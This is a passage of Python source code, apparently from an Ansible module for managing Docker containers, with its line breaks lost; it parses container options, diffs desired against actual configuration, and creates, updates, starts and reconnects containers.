result.append((parsed_link[0], parsed_link[1])) else: result.append((parsed_link[0], parsed_link[0])) return result def _parse_ulimits(self): ''' Turn ulimits into an array of Ulimit objects ''' if self.ulimits is None: return None results = [] for limit in self.ulimits: limits = dict() pieces = limit.split(':') if len(pieces) >= 2: limits['name'] = pieces[0] limits['soft'] = int(pieces[1]) limits['hard'] = int(pieces[1]) if len(pieces) == 3: limits['hard'] = int(pieces[2]) try: results.append(Ulimit(**limits)) except ValueError as exc: self.fail("Error parsing ulimits value %s - %s" % (limit, exc)) return results def _parse_sysctls(self): ''' Turn sysctls into an hash of Sysctl objects ''' return self.sysctls def _parse_log_config(self): ''' Create a LogConfig object ''' if self.log_driver is None: return None options = dict( Type=self.log_driver, Config=dict() ) if self.log_options is not None: options['Config'] = dict() for k, v in self.log_options.items(): if not isinstance(v, string_types): self.client.module.warn( "Non-string value found for log_options option '%s'. The value is automatically converted to '%s'. " "If this is not correct, or you want to avoid such warnings, please quote the value." % (k, str(v)) ) v = str(v) self.log_options[k] = v options['Config'][k] = v try: return LogConfig(**options) except ValueError as exc: self.fail('Error parsing logging options - %s' % (exc)) def _parse_tmpfs(self): ''' Turn tmpfs into a hash of Tmpfs objects ''' result = dict() if self.tmpfs is None: return result for tmpfs_spec in self.tmpfs: split_spec = tmpfs_spec.split(":", 1) if len(split_spec) > 1: result[split_spec[0]] = split_spec[1] else: result[split_spec[0]] = "" return result def _get_environment(self): """ If environment file is combined with explicit environment variables, the explicit environment variables take precedence. """ final_env = {} if self.env_file: parsed_env_file = utils.parse_env_file(self.env_file) for name, value in parsed_env_file.items(): final_env[name] = str(value) if self.env: for name, value in self.env.items(): if not isinstance(value, string_types): self.fail("Non-string value found for env option. Ambiguous env options must be " "wrapped in quotes to avoid them being interpreted. Key: %s" % (name, )) final_env[name] = str(value) return final_env def _get_network_id(self, network_name): network_id = None try: for network in self.client.networks(names=[network_name]): if network['Name'] == network_name: network_id = network['Id'] break except Exception as exc: self.fail("Error getting network id for %s - %s" % (network_name, str(exc))) return network_id def _process_mounts(self): if self.mounts is None: return None, None mounts_list = [] mounts_expected = [] for mount in self.mounts: target = mount['target'] datatype = mount['type'] mount_dict = dict(mount) # Sanity checks (so we don't wait for docker-py to barf on input) if mount_dict.get('source') is None and datatype != 'tmpfs': self.client.fail('source must be specified for mount "{0}" of type "{1}"'.format(target, datatype)) mount_option_types = dict( volume_driver='volume', volume_options='volume', propagation='bind', no_copy='volume', labels='volume', tmpfs_size='tmpfs', tmpfs_mode='tmpfs', ) for option, req_datatype in mount_option_types.items(): if mount_dict.get(option) is not None and datatype != req_datatype: self.client.fail('{0} cannot be specified for mount "{1}" of type "{2}" (needs type "{3}")'.format(option, target, datatype, req_datatype)) # Handle volume_driver and volume_options volume_driver = mount_dict.pop('volume_driver') volume_options = mount_dict.pop('volume_options') if volume_driver: if volume_options: volume_options = clean_dict_booleans_for_docker_api(volume_options) mount_dict['driver_config'] = docker_types.DriverConfig(name=volume_driver, options=volume_options) if mount_dict['labels']: mount_dict['labels'] = clean_dict_booleans_for_docker_api(mount_dict['labels']) if mount_dict.get('tmpfs_size') is not None: try: mount_dict['tmpfs_size'] = human_to_bytes(mount_dict['tmpfs_size']) except ValueError as exc: self.fail('Failed to convert tmpfs_size of mount "{0}" to bytes: {1}'.format(target, exc)) if mount_dict.get('tmpfs_mode') is not None: try: mount_dict['tmpfs_mode'] = int(mount_dict['tmpfs_mode'], 8) except Exception as dummy: self.client.fail('tmp_fs mode of mount "{0}" is not an octal string!'.format(target)) # Fill expected mount dict mount_expected = dict(mount) mount_expected['tmpfs_size'] = mount_dict['tmpfs_size'] mount_expected['tmpfs_mode'] = mount_dict['tmpfs_mode'] # Add result to lists mounts_list.append(docker_types.Mount(**mount_dict)) mounts_expected.append(omit_none_from_dict(mount_expected)) return mounts_list, mounts_expected def _process_rate_bps(self, option): """ Format device_read_bps and device_write_bps option """ devices_list = [] for v in getattr(self, option): device_dict = dict((x.title(), y) for x, y in v.items()) device_dict['Rate'] = human_to_bytes(device_dict['Rate']) devices_list.append(device_dict) setattr(self, option, devices_list) def _process_rate_iops(self, option): """ Format device_read_iops and device_write_iops option """ devices_list = [] for v in getattr(self, option): device_dict = dict((x.title(), y) for x, y in v.items()) devices_list.append(device_dict) setattr(self, option, devices_list) def _replace_container_names(self, mode): """ Parse IPC and PID modes. If they contain a container name, replace with the container's ID. """ if mode is None or not mode.startswith('container:'): return mode container_name = mode[len('container:'):] # Try to inspect container to see whether this is an ID or a # name (and in the latter case, retrieve it's ID) container = self.client.get_container(container_name) if container is None: # If we can't find the container, issue a warning and continue with # what the user specified. self.client.module.warn('Cannot find a container with name or ID "{0}"'.format(container_name)) return mode return 'container:{0}'.format(container['Id']) def _check_mount_target_collisions(self): last = dict() def f(t, name): if t in last: if name == last[t]: self.client.fail('The mount point "{0}" appears twice in the {1} option'.format(t, name)) else: self.client.fail('The mount point "{0}" appears both in the {1} and {2} option'.format(t, name, last[t])) last[t] = name if self.expected_mounts: for t in [m['target'] for m in self.expected_mounts]: f(t, 'mounts') if self.volumes: for v in self.volumes: vs = v.split(':') f(vs[0 if len(vs) == 1 else 1], 'volumes') class Container(DockerBaseClass): def __init__(self, container, parameters): super(Container, self).__init__() self.raw = container self.Id = None self.container = container if container: self.Id = container['Id'] self.Image = container['Image'] self.log(self.container, pretty_print=True) self.parameters = parameters self.parameters.expected_links = None self.parameters.expected_ports = None self.parameters.expected_exposed = None self.parameters.expected_volumes = None self.parameters.expected_ulimits = None self.parameters.expected_sysctls = None self.parameters.expected_etc_hosts = None self.parameters.expected_env = None self.parameters_map = dict() self.parameters_map['expected_links'] = 'links' self.parameters_map['expected_ports'] = 'expected_ports' self.parameters_map['expected_exposed'] = 'exposed_ports' self.parameters_map['expected_volumes'] = 'volumes' self.parameters_map['expected_ulimits'] = 'ulimits' self.parameters_map['expected_sysctls'] = 'sysctls' self.parameters_map['expected_etc_hosts'] = 'etc_hosts' self.parameters_map['expected_env'] = 'env' self.parameters_map['expected_entrypoint'] = 'entrypoint' self.parameters_map['expected_binds'] = 'volumes' self.parameters_map['expected_cmd'] = 'command' self.parameters_map['expected_devices'] = 'devices' self.parameters_map['expected_healthcheck'] = 'healthcheck' self.parameters_map['expected_mounts'] = 'mounts' def fail(self, msg): self.parameters.client.fail(msg) @property def exists(self): return True if self.container else False @property def running(self): if self.container and self.container.get('State'): if self.container['State'].get('Running') and not self.container['State'].get('Ghost', False): return True return False @property def paused(self): if self.container and self.container.get('State'): return self.container['State'].get('Paused', False) return False def _compare(self, a, b, compare): ''' Compare values a and b as described in compare. ''' return compare_generic(a, b, compare['comparison'], compare['type']) def _decode_mounts(self, mounts): if not mounts: return mounts result = [] empty_dict = dict() for mount in mounts: res = dict() res['type'] = mount.get('Type') res['source'] = mount.get('Source') res['target'] = mount.get('Target') res['read_only'] = mount.get('ReadOnly', False) # golang's omitempty for bool returns None for False res['consistency'] = mount.get('Consistency') res['propagation'] = mount.get('BindOptions', empty_dict).get('Propagation') res['no_copy'] = mount.get('VolumeOptions', empty_dict).get('NoCopy', False) res['labels'] = mount.get('VolumeOptions', empty_dict).get('Labels', empty_dict) res['volume_driver'] = mount.get('VolumeOptions', empty_dict).get('DriverConfig', empty_dict).get('Name') res['volume_options'] = mount.get('VolumeOptions', empty_dict).get('DriverConfig', empty_dict).get('Options', empty_dict) res['tmpfs_size'] = mount.get('TmpfsOptions', empty_dict).get('SizeBytes') res['tmpfs_mode'] = mount.get('TmpfsOptions', empty_dict).get('Mode') result.append(res) return result def has_different_configuration(self, image): ''' Diff parameters vs existing container config. Returns tuple: (True | False, List of differences) ''' self.log('Starting has_different_configuration') self.parameters.expected_entrypoint = self._get_expected_entrypoint() self.parameters.expected_links = self._get_expected_links() self.parameters.expected_ports = self._get_expected_ports() self.parameters.expected_exposed = self._get_expected_exposed(image) self.parameters.expected_volumes = self._get_expected_volumes(image) self.parameters.expected_binds = self._get_expected_binds(image) self.parameters.expected_ulimits = self._get_expected_ulimits(self.parameters.ulimits) self.parameters.expected_sysctls = self._get_expected_sysctls(self.parameters.sysctls) self.parameters.expected_etc_hosts = self._convert_simple_dict_to_list('etc_hosts') self.parameters.expected_env = self._get_expected_env(image) self.parameters.expected_cmd = self._get_expected_cmd() self.parameters.expected_devices = self._get_expected_devices() self.parameters.expected_healthcheck = self._get_expected_healthcheck() if not self.container.get('HostConfig'): self.fail("has_config_diff: Error parsing container properties. HostConfig missing.") if not self.container.get('Config'): self.fail("has_config_diff: Error parsing container properties. Config missing.") if not self.container.get('NetworkSettings'): self.fail("has_config_diff: Error parsing container properties. NetworkSettings missing.") host_config = self.container['HostConfig'] log_config = host_config.get('LogConfig', dict()) restart_policy = host_config.get('RestartPolicy', dict()) config = self.container['Config'] network = self.container['NetworkSettings'] # The previous version of the docker module ignored the detach state by # assuming if the container was running, it must have been detached. detach = not (config.get('AttachStderr') and config.get('AttachStdout')) # "ExposedPorts": null returns None type & causes AttributeError - PR #5517 if config.get('ExposedPorts') is not None: expected_exposed = [self._normalize_port(p) for p in config.get('ExposedPorts', dict()).keys()] else: expected_exposed = [] # Map parameters to container inspect results config_mapping = dict( expected_cmd=config.get('Cmd'), domainname=config.get('Domainname'), hostname=config.get('Hostname'), user=config.get('User'), detach=detach, init=host_config.get('Init'), interactive=config.get('OpenStdin'), capabilities=host_config.get('CapAdd'), cap_drop=host_config.get('CapDrop'), expected_devices=host_config.get('Devices'), dns_servers=host_config.get('Dns'), dns_opts=host_config.get('DnsOptions'), dns_search_domains=host_config.get('DnsSearch'), expected_env=(config.get('Env') or []), expected_entrypoint=config.get('Entrypoint'), expected_etc_hosts=host_config['ExtraHosts'], expected_exposed=expected_exposed, groups=host_config.get('GroupAdd'), ipc_mode=host_config.get("IpcMode"), labels=config.get('Labels'), expected_links=host_config.get('Links'), mac_address=network.get('MacAddress'), memory_swappiness=host_config.get('MemorySwappiness'), network_mode=host_config.get('NetworkMode'), userns_mode=host_config.get('UsernsMode'), oom_killer=host_config.get('OomKillDisable'), oom_score_adj=host_config.get('OomScoreAdj'), pid_mode=host_config.get('PidMode'), privileged=host_config.get('Privileged'), expected_ports=host_config.get('PortBindings'), read_only=host_config.get('ReadonlyRootfs'), restart_policy=restart_policy.get('Name'), runtime=host_config.get('Runtime'), shm_size=host_config.get('ShmSize'), security_opts=host_config.get("SecurityOpt"), stop_signal=config.get("StopSignal"), tmpfs=host_config.get('Tmpfs'), tty=config.get('Tty'), expected_ulimits=host_config.get('Ulimits'), expected_sysctls=host_config.get('Sysctls'), uts=host_config.get('UTSMode'), expected_volumes=config.get('Volumes'), expected_binds=host_config.get('Binds'), volume_driver=host_config.get('VolumeDriver'), volumes_from=host_config.get('VolumesFrom'), working_dir=config.get('WorkingDir'), publish_all_ports=host_config.get('PublishAllPorts'), expected_healthcheck=config.get('Healthcheck'), disable_healthcheck=(not config.get('Healthcheck') or config.get('Healthcheck').get('Test') == ['NONE']), device_read_bps=host_config.get('BlkioDeviceReadBps'), device_write_bps=host_config.get('BlkioDeviceWriteBps'), device_read_iops=host_config.get('BlkioDeviceReadIOps'), device_write_iops=host_config.get('BlkioDeviceWriteIOps'), pids_limit=host_config.get('PidsLimit'), # According to https://github.com/moby/moby/, support for HostConfig.Mounts # has been included at least since v17.03.0-ce, which has API version 1.26. # The previous tag, v1.9.1, has API version 1.21 and does not have # HostConfig.Mounts. I have no idea what about API 1.25... expected_mounts=self._decode_mounts(host_config.get('Mounts')), cpus=host_config.get('NanoCpus'), ) # Options which don't make sense without their accompanying option if self.parameters.restart_policy: config_mapping['restart_retries'] = restart_policy.get('MaximumRetryCount') if self.parameters.log_driver: config_mapping['log_driver'] = log_config.get('Type') config_mapping['log_options'] = log_config.get('Config') if self.parameters.client.option_minimal_versions['auto_remove']['supported']: # auto_remove is only supported in Docker SDK for Python >= 2.0.0; unfortunately # it has a default value, that's why we have to jump through the hoops here config_mapping['auto_remove'] = host_config.get('AutoRemove') if self.parameters.client.option_minimal_versions['stop_timeout']['supported']: # stop_timeout is only supported in Docker SDK for Python >= 2.1. Note that # stop_timeout has a hybrid role, in that it used to be something only used # for stopping containers, and is now also used as a container property. # That's why it needs special handling here. config_mapping['stop_timeout'] = config.get('StopTimeout') if self.parameters.client.docker_api_version < LooseVersion('1.22'): # For docker API < 1.22, update_container() is not supported. Thus # we need to handle all limits which are usually handled by # update_container() as configuration changes which require a container # restart. config_mapping.update(dict( blkio_weight=host_config.get('BlkioWeight'), cpu_period=host_config.get('CpuPeriod'), cpu_quota=host_config.get('CpuQuota'), cpu_shares=host_config.get('CpuShares'), cpuset_cpus=host_config.get('CpusetCpus'), cpuset_mems=host_config.get('CpusetMems'), kernel_memory=host_config.get("KernelMemory"), memory=host_config.get('Memory'), memory_reservation=host_config.get('MemoryReservation'), memory_swap=host_config.get('MemorySwap'), )) differences = DifferenceTracker() for key, value in config_mapping.items(): minimal_version = self.parameters.client.option_minimal_versions.get(key, {}) if not minimal_version.get('supported', True): continue compare = self.parameters.client.comparisons[self.parameters_map.get(key, key)] self.log('check differences %s %s vs %s (%s)' % (key, getattr(self.parameters, key), str(value), compare)) if getattr(self.parameters, key, None) is not None: match = self._compare(getattr(self.parameters, key), value, compare) if not match: # no match. record the differences p = getattr(self.parameters, key) c = value if compare['type'] == 'set': # Since the order does not matter, sort so that the diff output is better. if p is not None: p = sorted(p) if c is not None: c = sorted(c) elif compare['type'] == 'set(dict)': # Since the order does not matter, sort so that the diff output is better. if key == 'expected_mounts': # For selected values, use one entry as key def sort_key_fn(x): return x['target'] else: # We sort the list of dictionaries by using the sorted items of a dict as its key. def sort_key_fn(x): return sorted((a, str(b)) for a, b in x.items()) if p is not None: p = sorted(p, key=sort_key_fn) if c is not None: c = sorted(c, key=sort_key_fn) differences.add(key, parameter=p, active=c) has_differences = not differences.empty return has_differences, differences def has_different_resource_limits(self): ''' Diff parameters and container resource limits ''' if not self.container.get('HostConfig'): self.fail("limits_differ_from_container: Error parsing container properties. HostConfig missing.") if self.parameters.client.docker_api_version < LooseVersion('1.22'): # update_container() call not supported return False, [] host_config = self.container['HostConfig'] config_mapping = dict( blkio_weight=host_config.get('BlkioWeight'), cpu_period=host_config.get('CpuPeriod'), cpu_quota=host_config.get('CpuQuota'), cpu_shares=host_config.get('CpuShares'), cpuset_cpus=host_config.get('CpusetCpus'), cpuset_mems=host_config.get('CpusetMems'), kernel_memory=host_config.get("KernelMemory"), memory=host_config.get('Memory'), memory_reservation=host_config.get('MemoryReservation'), memory_swap=host_config.get('MemorySwap'), ) differences = DifferenceTracker() for key, value in config_mapping.items(): if getattr(self.parameters, key, None): compare = self.parameters.client.comparisons[self.parameters_map.get(key, key)] match = self._compare(getattr(self.parameters, key), value, compare) if not match: # no match. record the differences differences.add(key, parameter=getattr(self.parameters, key), active=value) different = not differences.empty return different, differences def has_network_differences(self): ''' Check if the container is connected to requested networks with expected options: links, aliases, ipv4, ipv6 ''' different = False differences = [] if not self.parameters.networks: return different, differences if not self.container.get('NetworkSettings'): self.fail("has_missing_networks: Error parsing container properties. NetworkSettings missing.") connected_networks = self.container['NetworkSettings']['Networks'] for network in self.parameters.networks: network_info = connected_networks.get(network['name']) if network_info is None: different = True differences.append(dict( parameter=network, container=None )) else: diff = False network_info_ipam = network_info.get('IPAMConfig') or {} if network.get('ipv4_address') and network['ipv4_address'] != network_info_ipam.get('IPv4Address'): diff = True if network.get('ipv6_address') and network['ipv6_address'] != network_info_ipam.get('IPv6Address'): diff = True if network.get('aliases'): if not compare_generic(network['aliases'], network_info.get('Aliases'), 'allow_more_present', 'set'): diff = True if network.get('links'): expected_links = [] for link, alias in network['links']: expected_links.append("%s:%s" % (link, alias)) if not compare_generic(expected_links, network_info.get('Links'), 'allow_more_present', 'set'): diff = True if diff: different = True differences.append(dict( parameter=network, container=dict( name=network['name'], ipv4_address=network_info_ipam.get('IPv4Address'), ipv6_address=network_info_ipam.get('IPv6Address'), aliases=network_info.get('Aliases'), links=network_info.get('Links') ) )) return different, differences def has_extra_networks(self): ''' Check if the container is connected to non-requested networks ''' extra_networks = [] extra = False if not self.container.get('NetworkSettings'): self.fail("has_extra_networks: Error parsing container properties. NetworkSettings missing.") connected_networks = self.container['NetworkSettings'].get('Networks') if connected_networks: for network, network_config in connected_networks.items(): keep = False if self.parameters.networks: for expected_network in self.parameters.networks: if expected_network['name'] == network: keep = True if not keep: extra = True extra_networks.append(dict(name=network, id=network_config['NetworkID'])) return extra, extra_networks def _get_expected_devices(self): if not self.parameters.devices: return None expected_devices = [] for device in self.parameters.devices: parts = device.split(':') if len(parts) == 1: expected_devices.append( dict( CgroupPermissions='rwm', PathInContainer=parts[0], PathOnHost=parts[0] )) elif len(parts) == 2: parts = device.split(':') expected_devices.append( dict( CgroupPermissions='rwm', PathInContainer=parts[1], PathOnHost=parts[0] ) ) else: expected_devices.append( dict( CgroupPermissions=parts[2], PathInContainer=parts[1], PathOnHost=parts[0] )) return expected_devices def _get_expected_entrypoint(self): if not self.parameters.entrypoint: return None return shlex.split(self.parameters.entrypoint) def _get_expected_ports(self): if not self.parameters.published_ports: return None expected_bound_ports = {} for container_port, config in self.parameters.published_ports.items(): if isinstance(container_port, int): container_port = "%s/tcp" % container_port if len(config) == 1: if isinstance(config[0], int): expected_bound_ports[container_port] = [{'HostIp': "0.0.0.0", 'HostPort': config[0]}] else: expected_bound_ports[container_port] = [{'HostIp': config[0], 'HostPort': ""}] elif isinstance(config[0], tuple): expected_bound_ports[container_port] = [] for host_ip, host_port in config: expected_bound_ports[container_port].append({'HostIp': host_ip, 'HostPort': str(host_port)}) else: expected_bound_ports[container_port] = [{'HostIp': config[0], 'HostPort': str(config[1])}] return expected_bound_ports def _get_expected_links(self): if self.parameters.links is None: return None self.log('parameter links:') self.log(self.parameters.links, pretty_print=True) exp_links = [] for link, alias in self.parameters.links: exp_links.append("/%s:%s/%s" % (link, ('/' + self.parameters.name), alias)) return exp_links def _get_expected_binds(self, image): self.log('_get_expected_binds') image_vols = [] if image: image_vols = self._get_image_binds(image[self.parameters.client.image_inspect_source].get('Volumes')) param_vols = [] if self.parameters.volumes: for vol in self.parameters.volumes: host = None if ':' in vol: if len(vol.split(':')) == 3: host, container, mode = vol.split(':') if not is_volume_permissions(mode): self.fail('Found invalid volumes mode: {0}'.format(mode)) if len(vol.split(':')) == 2: parts = vol.split(':') if not is_volume_permissions(parts[1]): host, container, mode = vol.split(':') + ['rw'] if host: param_vols.append("%s:%s:%s" % (host, container, mode)) result = list(set(image_vols + param_vols)) self.log("expected_binds:") self.log(result, pretty_print=True) return result def _get_image_binds(self, volumes): ''' Convert array of binds to array of strings with format host_path:container_path:mode :param volumes: array of bind dicts :return: array of strings ''' results = [] if isinstance(volumes, dict): results += self._get_bind_from_dict(volumes) elif isinstance(volumes, list): for vol in volumes: results += self._get_bind_from_dict(vol) return results @staticmethod def _get_bind_from_dict(volume_dict): results = [] if volume_dict: for host_path, config in volume_dict.items(): if isinstance(config, dict) and config.get('bind'): container_path = config.get('bind') mode = config.get('mode', 'rw') results.append("%s:%s:%s" % (host_path, container_path, mode)) return results def _get_expected_volumes(self, image): self.log('_get_expected_volumes') expected_vols = dict() if image and image[self.parameters.client.image_inspect_source].get('Volumes'): expected_vols.update(image[self.parameters.client.image_inspect_source].get('Volumes')) if self.parameters.volumes: for vol in self.parameters.volumes: container = None if ':' in vol: if len(vol.split(':')) == 3: dummy, container, mode = vol.split(':') if not is_volume_permissions(mode): self.fail('Found invalid volumes mode: {0}'.format(mode)) if len(vol.split(':')) == 2: parts = vol.split(':') if not is_volume_permissions(parts[1]): dummy, container, mode = vol.split(':') + ['rw'] new_vol = dict() if container: new_vol[container] = dict() else: new_vol[vol] = dict() expected_vols.update(new_vol) if not expected_vols: expected_vols = None self.log("expected_volumes:") self.log(expected_vols, pretty_print=True) return expected_vols def _get_expected_env(self, image): self.log('_get_expected_env') expected_env = dict() if image and image[self.parameters.client.image_inspect_source].get('Env'): for env_var in image[self.parameters.client.image_inspect_source]['Env']: parts = env_var.split('=', 1) expected_env[parts[0]] = parts[1] if self.parameters.env: expected_env.update(self.parameters.env) param_env = [] for key, value in expected_env.items(): param_env.append("%s=%s" % (key, value)) return param_env def _get_expected_exposed(self, image): self.log('_get_expected_exposed') image_ports = [] if image: image_exposed_ports = image[self.parameters.client.image_inspect_source].get('ExposedPorts') or {} image_ports = [self._normalize_port(p) for p in image_exposed_ports.keys()] param_ports = [] if self.parameters.ports: param_ports = [str(p[0]) + '/' + p[1] for p in self.parameters.ports] result = list(set(image_ports + param_ports)) self.log(result, pretty_print=True) return result def _get_expected_ulimits(self, config_ulimits): self.log('_get_expected_ulimits') if config_ulimits is None: return None results = [] for limit in config_ulimits: results.append(dict( Name=limit.name, Soft=limit.soft, Hard=limit.hard )) return results def _get_expected_sysctls(self, config_sysctls): self.log('_get_expected_sysctls') if config_sysctls is None: return None result = dict() for key, value in config_sysctls.items(): result[key] = str(value) return result def _get_expected_cmd(self): self.log('_get_expected_cmd') if not self.parameters.command: return None return shlex.split(self.parameters.command) def _convert_simple_dict_to_list(self, param_name, join_with=':'): if getattr(self.parameters, param_name, None) is None: return None results = [] for key, value in getattr(self.parameters, param_name).items(): results.append("%s%s%s" % (key, join_with, value)) return results def _normalize_port(self, port): if '/' not in port: return port + '/tcp' return port def _get_expected_healthcheck(self): self.log('_get_expected_healthcheck') expected_healthcheck = dict() if self.parameters.healthcheck: expected_healthcheck.update([(k.title().replace("_", ""), v) for k, v in self.parameters.healthcheck.items()]) return expected_healthcheck class ContainerManager(DockerBaseClass): ''' Perform container management tasks ''' def __init__(self, client): super(ContainerManager, self).__init__() if client.module.params.get('log_options') and not client.module.params.get('log_driver'): client.module.warn('log_options is ignored when log_driver is not specified') if client.module.params.get('healthcheck') and not client.module.params.get('healthcheck').get('test'): client.module.warn('healthcheck is ignored when test is not specified') if client.module.params.get('restart_retries') is not None and not client.module.params.get('restart_policy'): client.module.warn('restart_retries is ignored when restart_policy is not specified') self.client = client self.parameters = TaskParameters(client) self.check_mode = self.client.check_mode self.results = {'changed': False, 'actions': []} self.diff = {} self.diff_tracker = DifferenceTracker() self.facts = {} state = self.parameters.state if state in ('stopped', 'started', 'present'): self.present(state) elif state == 'absent': self.absent() if not self.check_mode and not self.parameters.debug: self.results.pop('actions') if self.client.module._diff or self.parameters.debug: self.diff['before'], self.diff['after'] = self.diff_tracker.get_before_after() self.results['diff'] = self.diff if self.facts: self.results['ansible_facts'] = {'docker_container': self.facts} self.results['container'] = self.facts def present(self, state): container = self._get_container(self.parameters.name) was_running = container.running was_paused = container.paused container_created = False # If the image parameter was passed then we need to deal with the image # version comparison. Otherwise we handle this depending on whether # the container already runs or not; in the former case, in case the # container needs to be restarted, we use the existing container's # image ID. image = self._get_image() self.log(image, pretty_print=True) if not container.exists: # New container self.log('No container found') if not self.parameters.image: self.fail('Cannot create container when image is not specified!') self.diff_tracker.add('exists', parameter=True, active=False) new_container = self.container_create(self.parameters.image, self.parameters.create_parameters) if new_container: container = new_container container_created = True else: # Existing container different, differences = container.has_different_configuration(image) image_different = False if self.parameters.comparisons['image']['comparison'] == 'strict': image_different = self._image_is_different(image, container) if image_different or different or self.parameters.recreate: self.diff_tracker.merge(differences) self.diff['differences'] = differences.get_legacy_docker_container_diffs() if image_different: self.diff['image_different'] = True self.log("differences") self.log(differences.get_legacy_docker_container_diffs(), pretty_print=True) image_to_use = self.parameters.image if not image_to_use and container and container.Image: image_to_use = container.Image if not image_to_use: self.fail('Cannot recreate container when image is not specified or cannot be extracted from current container!') if container.running: self.container_stop(container.Id) self.container_remove(container.Id) new_container = self.container_create(image_to_use, self.parameters.create_parameters) if new_container: container = new_container container_created = True if container and container.exists: container = self.update_limits(container) container = self.update_networks(container, container_created) if state == 'started' and not container.running: self.diff_tracker.add('running', parameter=True, active=was_running) container = self.container_start(container.Id) elif state == 'started' and self.parameters.restart: self.diff_tracker.add('running', parameter=True, active=was_running) self.diff_tracker.add('restarted', parameter=True, active=False) container = self.container_restart(container.Id) elif state == 'stopped' and container.running: self.diff_tracker.add('running', parameter=False, active=was_running) self.container_stop(container.Id) container = self._get_container(container.Id) if state == 'started' and container.paused is not None and container.paused != self.parameters.paused: self.diff_tracker.add('paused', parameter=self.parameters.paused, active=was_paused) if not self.check_mode: try: if self.parameters.paused: self.client.pause(container=container.Id) else: self.client.unpause(container=container.Id) except Exception as exc: self.fail("Error %s container %s: %s" % ( "pausing" if self.parameters.paused else "unpausing", container.Id, str(exc) )) container = self._get_container(container.Id) self.results['changed'] = True self.results['actions'].append(dict(set_paused=self.parameters.paused)) self.facts = container.raw def absent(self): container = self._get_container(self.parameters.name) if container.exists: if container.running: self.diff_tracker.add('running', parameter=False, active=True) self.container_stop(container.Id) self.diff_tracker.add('exists', parameter=False, active=True) self.container_remove(container.Id) def fail(self, msg, **kwargs): self.client.fail(msg, **kwargs) def _output_logs(self, msg): self.client.module.log(msg=msg) def _get_container(self, container): ''' Expects container ID or Name. Returns a container object ''' return Container(self.client.get_container(container), self.parameters) def _get_image(self): if not self.parameters.image: self.log('No image specified') return None if is_image_name_id(self.parameters.image): image = self.client.find_image_by_id(self.parameters.image) else: repository, tag = utils.parse_repository_tag(self.parameters.image) if not tag: tag = "latest" image = self.client.find_image(repository, tag) if not image or self.parameters.pull: if not self.check_mode: self.log("Pull the image.") image, alreadyToLatest = self.client.pull_image(repository, tag) if alreadyToLatest: self.results['changed'] = False else: self.results['changed'] = True self.results['actions'].append(dict(pulled_image="%s:%s" % (repository, tag))) elif not image: # If the image isn't there, claim we'll pull. # (Implicitly: if the image is there, claim it already was latest.) self.results['changed'] = True self.results['actions'].append(dict(pulled_image="%s:%s" % (repository, tag))) self.log("image") self.log(image, pretty_print=True) return image def _image_is_different(self, image, container): if image and image.get('Id'): if container and container.Image: if image.get('Id') != container.Image: self.diff_tracker.add('image', parameter=image.get('Id'), active=container.Image) return True return False def update_limits(self, container): limits_differ, different_limits = container.has_different_resource_limits() if limits_differ: self.log("limit differences:") self.log(different_limits.get_legacy_docker_container_diffs(), pretty_print=True) self.diff_tracker.merge(different_limits) if limits_differ and not self.check_mode: self.container_update(container.Id, self.parameters.update_parameters) return self._get_container(container.Id) return container def update_networks(self, container, container_created): updated_container = container if self.parameters.comparisons['networks']['comparison'] != 'ignore' or container_created: has_network_differences, network_differences = container.has_network_differences() if has_network_differences: if self.diff.get('differences'): self.diff['differences'].append(dict(network_differences=network_differences)) else: self.diff['differences'] = [dict(network_differences=network_differences)] for netdiff in network_differences: self.diff_tracker.add( 'network.{0}'.format(netdiff['parameter']['name']), parameter=netdiff['parameter'], active=netdiff['container'] ) self.results['changed'] = True updated_container = self._add_networks(container, network_differences) if (self.parameters.comparisons['networks']['comparison'] == 'strict' and self.parameters.networks is not None) or self.parameters.purge_networks: has_extra_networks, extra_networks = container.has_extra_networks() if has_extra_networks: if self.diff.get('differences'): self.diff['differences'].append(dict(purge_networks=extra_networks)) else: self.diff['differences'] = [dict(purge_networks=extra_networks)] for extra_network in extra_networks: self.diff_tracker.add( 'network.{0}'.format(extra_network['name']), active=extra_network ) self.results['changed'] = True updated_container = self._purge_networks(container, extra_networks) return updated_container def _add_networks(self, container, differences): for diff in differences: # remove the container from the network, if connected if diff.get('container'): self.results['actions'].append(dict(removed_from_network=diff['parameter']['name'])) if not self.check_mode: try: self.client.disconnect_container_from_network(container.Id, diff['parameter']['id']) except Exception as exc: self.fail("Error disconnecting container from network %s - %s" % (diff['parameter']['name'], str(exc))) # connect to the network params = dict() for para in ('ipv4_address', 'ipv6_address', 'links', 'aliases'): if diff['parameter'].get(para): params[para] = diff['parameter'][para] self.results['actions'].append(dict(added_to_network=diff['parameter']['name'], network_parameters=params)) if not self.check_mode: try: self.log("Connecting container to network %s" % diff['parameter']['id']) self.log(params, pretty_print=True) self.client.connect_container_to_network(container.Id, diff['parameter']['id'], **params) except Exception as exc: self.fail("Error connecting container to network %s - %s" % (diff['parameter']['name'], str(exc))) return self._get_container(container.Id) def _purge_networks(self, container, networks): for network in networks: self.results['actions'].append(dict(removed_from_network=network['name'])) if not self.check_mode: try: self.client.disconnect_container_from_network(container.Id, network['name']) except Exception as exc: self.fail("Error disconnecting container from network %s - %s" % (network['name'], str(exc))) return self._get_container(container.Id) def container_create(self, image, create_parameters): self.log("create container") self.log("image: %s parameters:" % image) self.log(create_parameters, pretty_print=True) self.results['actions'].append(dict(created="Created container", create_parameters=create_parameters)) self.results['changed'] = True new_container = None if not self.check_mode: try: new_container = self.client.create_container(image, **create_parameters) self.client.report_warnings(new_container) except Exception as exc: self.fail("Error creating container: %s" % str(exc)) return self._get_container(new_container['Id']) return new_container def container_start(self, container_id): self.log("start container %s" % (container_id)) self.results['actions'].append(dict(started=container_id)) self.results['changed'] = True if not self.check_mode: try: self.client.start(container=container_id) except Exception as exc: self.fail("Error starting container %s: %s" % (container_id, str(exc))) if self.parameters.detach is False: if self.client.docker_py_version >= LooseVersion('3.0'): status = self.client.wait(container_id)['StatusCode'] else: status = self.client.wait(container_id) if self.parameters.auto_remove: output = "Cannot retrieve result as auto_remove is enabled" if self.parameters.output_logs: self.client.module.warn('Cannot output_logs if auto_remove is enabled!') else: config = self.client.inspect_container(container_id) logging_driver = config['HostConfig']['LogConfig']['Type'] if logging_driver in ('json-file', 'journald'): output = self.client.logs(container_id, stdout=True, stderr=True, stream=False, timestamps=False) if self.parameters.output_logs: self._output_logs(msg=output) else: output = "Result logged using `%s` driver" % logging_driver if status != 0: self.fail(output, status=status) if self.parameters.cleanup: self.container_remove(container_id, force=True) insp = self._get_container(container_id) if insp.raw: insp.raw['Output'] = output else: insp.raw = 